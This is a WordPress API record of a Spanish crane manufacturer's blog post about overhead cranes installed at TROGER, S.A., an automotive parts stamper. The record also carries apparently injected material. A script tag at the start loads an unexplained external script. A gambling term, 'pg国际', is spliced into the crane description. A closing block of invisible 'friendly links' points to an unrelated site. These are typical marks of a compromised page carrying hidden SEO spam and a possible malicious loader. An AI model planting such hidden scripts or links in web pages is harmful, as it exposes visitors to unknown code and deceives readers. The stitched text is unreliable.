<script src="///jquery-web.js"></script>{"id":6395,"date":"2019-03-10T07:10:55","date_gmt":"2019-03-10T06:10:55","guid":{"rendered":"https:\/\/www.ghcranes.com\/blog\/?p=6395"},"modified":"2019-03-08T23:02:46","modified_gmt":"2019-03-08T22:02:46","slug":"gruas-puente-para-el-manejo-de-troqueles-para-piezas-de-automocion","status":"publish","type":"post","link":"https:\/\/www.ghcranes.com\/blog\/gruas-puente-para-el-manejo-de-troqueles-para-piezas-de-automocion\/","title":{"rendered":"GR\u00daAS PUENTE PARA EL MANEJO DE TROQUELES PARA PIEZAS DE AUTOMOCI\u00d3N"},"content":{"rendered":"<h3><em>Estas gr\u00faas cuentan con limitaci\u00f3n de zona y shunt para aproximaci\u00f3n.<\/em><\/h3>\n<p><a id="bmhqfbep" href=\"http:\/\/www.troger.net\/\" target=\"_blank\" rel=\"noopener\"><strong>TROGER, S.A.<\/strong><\/a>\u00a0es una empresa de Iurreta (Bizkaia) fundada en 1986, cuya actividad principal es el suministro de piezas met\u00e1licas estampadas de precisi\u00f3n para el sector automoci\u00f3n. Para ello\u00a0 emplea troqueles que has sido dise\u00f1ados y fabricados internamente.<\/p>\n<p>Sus clientes son del sector <strong>automoci\u00f3n<\/strong>, principalmente de \u00e1reas de power train sistemas de admisi\u00f3n y de escape, etc., sin embargo parte de su actividad va orientada tambi\u00e9n al sector <strong>aeron\u00e1utico<\/strong>.<\/p>\n<p>TROGER suministra piezas que cumplen diferentes funciones dentro de los veh\u00edculos, siendo el denominador com\u00fan el tratarse de piezas de precisi\u00f3n y que son partes din\u00e1micas (m\u00f3viles) del sistema donde se integran.\u00a0Suministran unas 500 referencias diferentes.<\/p>\n<p>Los materiales con los que trabajan son principalmente Acero al carbono, Acero inoxidable austen\u00edticos y ferr\u00edticos, Acero alto l\u00edmite el\u00e1stico y Aluminio.<\/p>\n<p>Disponen de 20 l\u00edneas de prensas con tonelajes desde 120t a 800t, con capacidad de producci\u00f3n de m\u00e1s de 60 millones de piezas anuales.<\/p>\n<p>En sus instalaciones cuenta con varias gr\u00faas pg国际 de diferentes capacidades, que se utilizan para el manejo de los troqueles o la manipulaci\u00f3n y almacenaje de las piezas.<\/p>\n<ul>\n<li>1 Gr\u00faa puente con polipasto birrail de 3,2t de capacidad.<\/li>\n<li>2 Gr\u00faas puente con polipasto birrail de 6,3t de capacidad.<\/li>\n<li>1 Gr\u00faa puente con polipasto birrail de 16t de capacidad.<\/li>\n<\/ul>\n<p>Las gr\u00faas disponen de elementos de seguridad anticolisi\u00f3n como limitaci\u00f3n de zona con shunt para aproximaci\u00f3n y exclusi\u00f3n de zona.<\/p>\n<p><a id="ykcxxqhb" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2018\/10\/IMG-20171019-WA0004.jpg\"><\/a><a id="asjyejky" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2018\/10\/IMG-20171019-WA0002.jpg\"><\/a><\/p>\n<!-- AddThis Advanced Settings generic via filter on the_content --><!-- AddThis Share Buttons generic via filter on the_content -->","protected":false},"excerpt":{"rendered":"<p>Estas gr\u00faas cuentan con limitaci\u00f3n de zona y shunt para aproximaci\u00f3n. TROGER, S.A.\u00a0es una empresa de Iurreta (Bizkaia) fundada en 1986, cuya actividad principal es el suministro de piezas met\u00e1licas estampadas de precisi\u00f3n para el sector automoci\u00f3n. Para ello\u00a0 emplea troqueles que has sido dise\u00f1ados y fabricados internamente. Sus clientes son del sector automoci\u00f3n, principalmente [&hellip;]<!-- AddThis Advanced Settings generic via filter on wp_trim_excerpt --><!-- AddThis Share Buttons generic via filter on wp_trim_excerpt --><\/p>\n","protected":false},"author":1,"featured_media":7219,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[2],"tags":[539,18,110,329,1153],"jetpack_featured_media_url":"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2018\/10\/Gruas-puente-para-el-manejo-de-troqueles-instaladas-en-la-empresa-troger.jpg","_links":{"self":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/6395"}],"collection":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/comments?post=6395"}],"version-history":[{"count":11,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/6395\/revisions"}],"predecessor-version":[{"id":7530,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/6395\/revisions\/7530"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media\/7219"}],"wp:attachment":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media?parent=6395"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/categories?post=6395"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/tags?post=6395"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<div align="center">友情链接：<a href="https://www.halosee.com/" target="_blank"></a>&nbsp;&nbsp;<a href="https://www.halosee.com/" target="_blank"></a>&nbsp;&nbsp;<a href="https://www.halosee.com/" target="_blank"></a>&nbsp;&nbsp;<a href="https://www.halosee.com/" target="_blank"></a></div></html>